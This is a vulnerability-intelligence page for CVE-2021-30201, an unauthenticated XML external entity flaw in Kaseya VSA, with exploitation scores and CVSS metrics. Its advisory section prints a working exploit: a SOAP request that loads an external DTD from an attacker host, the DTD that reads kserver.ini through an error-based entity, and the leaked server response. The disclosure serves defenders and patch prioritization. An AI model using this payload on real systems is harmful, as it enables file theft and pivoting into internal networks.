CVE-2021-30201 | Unauthenticated XML External Entity vulnerability in Kaseya VSA < v9.5.6

Exp

The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker. Detailed description Given the following request: ``` POST /vsaWS/KaseyaWS.asmx HTTP/1.1 Content-Type: text/xml;charset=UTF-8 Host: 192.168.1.194:18081 Content-Length: 406 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:kas="KaseyaWS"> <soapenv:Header/> <soapenv:Body> <kas:PrimitiveResetPassword> <!--type: string--> <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM "http://192.168.1.170:8080/oob.dtd"><data>&send;</data>]]> </kas:XmlRequest> </kas:PrimitiveResetPassword> </soapenv:Body> </soapenv:Envelope> ``` And the following XML file hosted at http://192.168.1.170/oob.dtd: ``` <!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver\\kserver.ini"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; ``` The server will fetch this XML file and process it, it will read the file c:\\kaseya\\kserver\\kserver.ini and returns the content in the server response like below. Response: ``` HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Type: text/xml; charset=utf-8 Date: Fri, 02 Apr 2021 10:07:38 GMT Strict-Transport-Security: max-age=63072000; includeSubDomains Connection: close Content-Length: 2677 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><soap:Fault><faultcode>soap:Server</faultcode><faultstring>Server was unable to process request. ---&gt; There is an error in XML document (24, -1000).\r\n\r\nSystem.Xml.XmlException: Fragment identifier '######################################################################## # This is the configuration file for the KServer. # Place it in the same directory as the KServer executable # A blank line or new valid section header [] terminates each section. # Comment lines start with ; or # ######################################################################## <snip> ``` Security issues discovered --- * The API insecurely resolves external XML entities * The API has an overly verbose error response Impact --- Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network.

Published: 2021-07-09 Last update: 2024-11-21 Assigner: [email protected] Source: [email protected]

Conclusion & alert: CVE-2021-30201 is rated High Exploit Risk (82.6/100): CVSS High severity, with high exploitation likelihood (EPSS 6.88%, 93th percentile). Core evidence: 1 public exploit reference(s) are indexed (Exploit-DB). EPSS rose +6.55% over the last day, indicating growing attacker interest. Mandatory action: Public exploits are available—assess exposure, apply mitigations, and prioritize patching.

Risk is dynamic; we continuously reassess and refresh what is shown on this page as upstream context changes.

Public exploit references (Exploit-DB) for CVE-2021-30201

EDB-ID Source Kind Published Link
nvd_ref exploit_tag Exploit-DB ↗

Exploit prediction scoring system (EPSS) score for CVE-2021-30201

EPSS lead: Daily EPSS estimates relative likelihood of exploitation; percentile ranks this CVE among scored vulnerabilities (higher = more severe relative rank).

# Date Old EPSS score New EPSS score Delta (New - Old)
1 2026-06-15 0.33% 6.88% +6.55%
2 2025-11-21 0.40% 0.33% -0.07%
3 2025-11-18 0.40%

Full EPSS history (16 records total)

Common vulnerability scoring system (CVSS) metrics for CVE-2021-30201

CVSS metrics for this CVE.

Base score Version Severity Vector Exploitability Impact Score source
7.5 3.1 HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:N)
Data isn’t meaningfully altered or forged.
Availability (A:N)
Service keeps running; no real outage angle.
3.9 3.6 [email protected]
7.5 3.1 HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:N)
Data isn’t meaningfully altered or forged.
Availability (A:N)
Service keeps running; no real outage angle.
3.9 3.6 [email protected]
5.0 2.0 MEDIUM
AV:N/AC:L/Au:N/C:P/I:N/A:N Click to expand
Access vector (AV:N)
Can be exploited remotely over network reachability.
Access complexity (AC:L)
Exploitation conditions are straightforward and predictable.
Authentication (AU:N)
No authentication is required.
Confidentiality impact (C:P)
Partial confidentiality impact.
Integrity impact (I:N)
No integrity impact.
Availability impact (A:N)
No availability impact.
10.0 2.9 [email protected]

Weakness enumeration for CVE-2021-30201

Affected software / configurations for CVE-2021-30201

Vendor Product Version Raw CPE
kaseya vsa < 9.5.6 cpe:2.3:a:kaseya:vsa:*:*:*:*:-:*:*:*

References for CVE-2021-30201

cvelogic Threat Intelligence